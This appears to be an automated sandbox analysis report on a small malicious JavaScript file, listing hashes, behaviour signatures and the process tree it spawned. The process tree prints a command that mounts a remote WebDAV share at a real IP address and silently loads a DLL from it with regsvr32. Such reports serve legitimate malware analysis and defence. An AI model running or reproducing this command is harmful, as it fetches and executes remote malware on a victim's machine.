Analysis
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max time kernel
117s -
max time network
119s -
platform
windows7_x64 -
resource
win7-20240704-en -
resource tags
arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system -
submitted
23/07/2024, 06:04
Static task
static1
Behavioral task
behavioral1
Sample
64262550701931972.js
Resource
win7-20240704-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
64262550701931972.js
Resource
win10v2004-20240709-en
5 signatures
150 seconds
General
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Target
64262550701931972.js
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Size
4KB
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MD5
a5ed4d497c04bf996c04ccfbcfefb0ef
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SHA1
a934fa6be6193453b8179101636e8230a01a923f
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SHA256
606717a429d54c59f3244a21df19a35d400468900b90bd79e0bc0a6efccd15ac
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SHA512
063a3dba85bef5e5fc52633b4a50eba10a6577b69926c59d93f3025d96c43880ba310e24987460adec280304436a2caa1c7b0637c60d142d7057db37f39e26a7
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SSDEEP
96:hHMNRaBeiPTU7jai2rCIOFSZ2IAkriZ2IrJfFJ:hWgd/epO2IAkY2IB3
Score
3/10
Malware Config
Signatures
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Command and Scripting Interpreter: JavaScript 1 TTPs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Runs net.exe
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Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 2476 wrote to memory of 1720 2476 wscript.exe 30 PID 2476 wrote to memory of 1720 2476 wscript.exe 30 PID 2476 wrote to memory of 1720 2476 wscript.exe 30 PID 1720 wrote to memory of 2520 1720 cmd.exe 32 PID 1720 wrote to memory of 2520 1720 cmd.exe 32 PID 1720 wrote to memory of 2520 1720 cmd.exe 32
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\64262550701931972.js1⤵
- Suspicious use of WriteProcessMemory
PID:2476 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\25566135517172.dll2⤵
- Suspicious use of WriteProcessMemory
PID:1720 -
C:\Windows\system32\net.exenet use \\45.9.74.36@8888\davwwwroot\3⤵PID:2520
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